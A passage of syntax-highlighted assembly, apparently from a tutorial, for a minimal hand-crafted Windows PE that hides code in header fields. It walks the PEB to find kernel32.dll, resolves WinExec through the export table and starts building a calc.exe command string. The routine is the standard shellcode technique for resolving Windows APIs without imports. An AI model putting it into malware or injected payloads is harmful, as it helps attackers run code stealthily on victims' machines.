&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="c1">; 0x40 ; [OL] FileAlignment&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">jump3:&lt;/span> &lt;span class="c1">; PEB Parse Part 2 ------------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebx&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0xc&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 0x44 ; 8b5b0c ; Get addr of PEB_LDR_DATA&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [OM] MajorOperatingSystemVersion&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [ON] MinorOperatingSystemVersion&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebx&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0x14&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 0x47 ; 8b5b14 ; InMemoryOrderModuleList first entry&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [OO] MajorImageVersion&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">jump4&lt;/span> &lt;span class="c1">; 0x4A ; eb10&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [OP] MinorImageVersion&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">5&lt;/span> &lt;span class="c1">; 0x4C ; [OQ] MajorSubsystemVersion&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">jump2:&lt;/span> &lt;span class="c1">; PEB Parser Part 1 -----------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">fs&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mh">0x30&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nb">esi&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 0x4E ; 648b5e30 ; Get PEB addr, FS holds TEB address&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [OR] MinorSubsystemVersion&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [OS] Win32VersionValue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">jump3&lt;/span> &lt;span class="c1">; 0x52 ; ebf0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mh">0x80&lt;/span> &lt;span class="c1">; 0x54 ; [OT] SizeOfImage&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mh">0x7C&lt;/span> &lt;span class="c1">; 0x58 ; [OU] SizeOfHeaders&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">jump4:&lt;/span> &lt;span class="c1">; PEB Parser Part 3 -----------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebx&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 0x5C ; 8b1b ; Get address of ntdll.dll entry [OV] CheckSum&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">jump5&lt;/span> &lt;span class="c1">; 0x5E ; eb10 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="c1">; 0x60 ; [OW] Subsystem (Win32 GUI)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x400&lt;/span> &lt;span class="c1">; 0x62 ; [OX] DllCharacteristics &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mh">0x100000&lt;/span> &lt;span class="c1">; 0x64 ; [OY] SizeOfStackReserve &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mh">0x1000&lt;/span> &lt;span class="c1">; 0x68 ; [OZ] SizeOfStackCommit &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mh">0x100000&lt;/span> &lt;span class="c1">; 0x6C ; [O1] SizeOfHeapReserve &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">jump5:&lt;/span> &lt;span class="c1">; PEB Parser Part 4 -----------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebx&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 0x70 ; 8b1b ; Get address of kernel32.dll list entry&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [O2] SizeOfHeapCommit &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebx&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0x10&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 0x72 ; 8b5b10 ; Get kernel32.dll base address &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [O3] LoaderFlags &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">jump6&lt;/span> &lt;span class="c1">; 0x75 ; eb07&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">endy:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ret&lt;/span> &lt;span class="c1">; 0x77 ; c3 ; Used to end the program &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x78 ; [O4] NumberOfRvaAndSizes ; Note - this is touchy &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">codesec:&lt;/span> &lt;span class="c1">; 0x7C - Start of code -----------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; MachineCode ; Description &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">jump0&lt;/span> &lt;span class="c1">; eb8e ; Jump back to header to begin execution&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">jump6:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;--- Grab kernel32.dll base addr -----------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; This piece of code grabs the Thread Environment Block structure&amp;#39;s address from&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; the FS segment register to locate the Process Environment Block structure &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; stored inside.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Then it grabs the pointer to the PEB_LDR_DATA structure so it can grab the &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; InMemoryOrderModuleList, which tells us about DLLs in memory.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Then it grabs the ntdll.dll entry in this list which helps us find the next&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; entry, kernel32.dll. The base address of kernel32.dll is stored at 0x10 in &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; the entry.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; [WORKFLOW]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; TEB&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; @0x30 PEB&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; --&amp;gt; 0x0C PEB_LDR_DATA&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; --&amp;gt; 0x14 InMemoryOrderModuleList&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; --&amp;gt; 0x00 ntdll.dll entry address&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; --&amp;gt; 0x00 kernel32.dll list entry address&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; --&amp;gt; 0x10 kernel32.dll base address !!&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Note that most of this is done in the header, see jump2 - jump5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; PEB Parser Part 5 ------------------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mh">0x8&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="nb">ebx&lt;/span> &lt;span class="c1">; 895df8 ; kernel32.dll base address&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;--- Finding WinExec address&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; This section weaves it&amp;#39;s way through the headers of kernel32.dll. &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Based on a non-fucky PE like this one, we can sort of rely on certain things&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; being where we expect them.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; First, the Relative Virtual address of the PE signature is loaded from ebx.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; EAX then becomes the address that we&amp;#39;re calculating from.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; The addresses of our structures are calculated using the base address of the &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; PE signature in EAX + it&amp;#39;s offset within that structure, and then added to the&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; base address stored in EBX. These are then moved to the stack.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebx&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0x3c&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b433c ; RVA of PE signature&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">ebx&lt;/span> &lt;span class="c1">; 01d8 ; PE sig addr = base addr + RVA of PE sig&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">eax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0x78&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b4078 ; RVA of Export Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">ebx&lt;/span> &lt;span class="c1">; 01d8 ; Address of Export Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ecx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">eax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0x24&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b4824 ; RVA of Ordinal Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">ecx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">ebx&lt;/span> &lt;span class="c1">; 01d9 ; Address of Ordinal Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mh">0xc&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="nb">ecx&lt;/span> &lt;span class="c1">; 894df4 ; Put on the stack&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">edi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">eax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0x20&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b7820 ; RVA of Name Pointer Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">edi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">ebx&lt;/span> &lt;span class="c1">; 01df ; Address of Name Pointer Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mh">0x10&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="nb">edi&lt;/span> &lt;span class="c1">; 897df0 ; Put on the stack&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">edx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">eax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0x1c&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b501c ; RVA of Address Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">edx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">ebx&lt;/span> &lt;span class="c1">; 01da ; Address of Address Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mh">0x14&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="nb">edx&lt;/span> &lt;span class="c1">; 8955ec ; Put on the stack&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">eax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mh">0x14&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b5814 ; Number of exported functions&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;--- Using the Name Pointer Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; This part loops through the Name Pointer Table and compares entries to what&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; we&amp;#39;re looking for: &amp;#34;WinExec&amp;#34;.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; The number of entries is counted using EAX, and once the WinExec entry is &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; found, the entry in the ordinal table is found using the count. See &amp;#39;locate&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">eax&lt;/span> &lt;span class="c1">; 31c0 ; EAX will be our entry counter&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">edx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b55f8 ; EDX = kernel32.dll base address&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">loopy:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">edi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mh">0x10&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b7df0 ; edi = Address of Name Pointer Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">esi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b75fc ; esi = &amp;#34;WinExec\x00&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="nb">ecx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">ecx&lt;/span> &lt;span class="c1">; 31c9 ; ECX = 0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">cld&lt;/span> &lt;span class="c1">; fc ; Clear direction flag &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; Strings now go left-&amp;gt;right&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">edi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">edi&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nb">eax&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b3c87 ; Name Pointer Table entries are 4 bytes,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; edi (NPT addr) + eax (num entries) * 4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">edi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">edx&lt;/span> &lt;span class="c1">; 01d7 ; EDI = NPT addr + kernel32.ddl base addr&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">cx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x8&lt;/span> &lt;span class="c1">; 6683c108 ; Length of &amp;#34;WinExec&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">repe&lt;/span> &lt;span class="nv">cmpsb&lt;/span> &lt;span class="c1">; f3a6 ; Compare the first 8 bytes in esi and edi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jz&lt;/span> &lt;span class="nv">locate&lt;/span> &lt;span class="c1">; 740a ; Jump if there&amp;#39;s a match.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">inc&lt;/span> &lt;span class="nb">eax&lt;/span> &lt;span class="c1">; 40 ; Increment entry counter&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">cmp&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">ebx&lt;/span> &lt;span class="c1">; 39d8 ; Check if the last function was reached&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jb&lt;/span> &lt;span class="nv">loopy&lt;/span> &lt;span class="c1">; 72e5 ; If not the last one, continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">esp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x26&lt;/span> &lt;span class="c1">; 83c426 ; Move stack away from our mess&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">endy&lt;/span> &lt;span class="c1">; eb41 ; If nothing found, return&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;--- Executing our function&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Once we&amp;#39;re here, we know the position of WinExec within the ordinal table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; of kernel32.dll, so now all that&amp;#39;s left is to call the function.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; We use all of our saved addresses on the stack for this.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">locate:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ecx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mh">0xc&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b4df4 ; ECX = Address of Ordinal Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">edx&lt;/span> &lt;span class="c1">; 89d3 ; EBX = kernel32.dll base address&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">edx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mh">0x14&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b55ec ; EDX = Address of Address Table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ecx&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nb">eax&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 668b0441; AX = ordinal addr + (ordinal num * 2)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">edx&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nb">eax&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; 8b0482 ; EAX = Addr table addr + (ordinal * 4)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">ebx&lt;/span> &lt;span class="c1">; 01d8 ; EAX = WinExec Addr = &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; = kernel32.dll base address + RVA of WinExec&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="nb">edx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">edx&lt;/span> &lt;span class="c1">; 31d2 ; We need a 0...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">edx&lt;/span> &lt;span class="c1">; 52 ; ...for the end of our string&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x6578652e&lt;/span> &lt;span class="c1">; 682e657865 ;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x636c6163&lt;/span> &lt;span class="c1">; 6863616c63 ;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x5c32336d&lt;/span> &lt;span class="c1">; 686d33325c ;&lt;/span>
